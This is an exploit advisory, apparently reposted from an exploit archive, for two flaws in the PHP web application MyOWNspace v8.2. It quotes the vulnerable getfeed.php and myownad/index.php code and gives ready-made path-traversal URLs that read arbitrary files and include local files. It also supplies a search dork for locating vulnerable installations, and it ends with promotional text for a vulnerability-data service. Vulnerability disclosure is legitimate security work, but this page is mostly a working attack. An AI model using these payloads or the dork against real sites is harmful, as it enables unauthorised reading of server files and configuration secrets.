==================================================================
MyOWNspace v8.2 local file include & File Disclosure Vulnerability
==================================================================
# Exploit Title: [MyOWNspace v8.2 local file include & File Disclosure Vulnerability]
# Date: [2010-06-12]
# Author: [DarK c0d3r]
# Software Link: [http://sourceforge.net/project/platformdownload.php?group_id=174729]
# Version: [8.2]
# Platform / Tested on: [php] -::TYPE
# category: [webapps/0day ]
# Code : [=======================================================================
MyOWNspace v8.2 local file include & File Disclosure Vulnerability
=======================================================================
===========================================================================
( #Topic : MyOWNspace_v8.2
( #Bug type : local file include & File Disclosure Vulnerability
( #Download : http://sourceforge.net/project/platformdownload.php?group_id=174729
( #DorK : " Nopyright 2006 MyOWNSpace.FR"
===========================================================================
( #Author : DarK c0d3r
( #Email : [email protected]
( #Website: http://www.sa-hacker.com
( #Forum : http://www.sa-hacker.com/vb/
( #discovered by : DarK c0d3r
=====================================================================
File Disclosure Vulnerability
=====================================================================
getfeed.php
=====================================================================
$filename = $_GET['file']; <===================== warning
// build file headers
header("content-type:text/xml;charset=utf-8");
// refer to file and exit
readfile("$filename");
exit();
---------------------------------------------------------------------------
classes/flash_mp3_player.23/extras/external_feeds/getfeed.php
---------------------------------------------------------------------------
$filename = $_GET['file'];
// build file headers
header("content-type:text/xml;charset=utf-8");
// refer to file and exit
readfile("$filename");
exit();
---------------------------------------------------------------------------
Exploit :
http://localhost/PATH/classes/flash_mp3_player/extras/external_feeds/getfeed.php?file=../../../../index.php
http://localhost/path/classes/flash_mp3_player.23/extras/external_feeds/getfeed.php?file=../../../../index.php
============================================================================
local file include
============================================================================
myownad/index.php
if(isset($_GET['u'])) $conf_file="../myownad/config".$_GET['u'].".php";
else $conf_file="../myownad/config.php";
include($conf_file);
Exploit :
http://localhost/path/myownad/index.php?u=../../../index
=============================================================================]
# 0day.today [2018-03-10] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation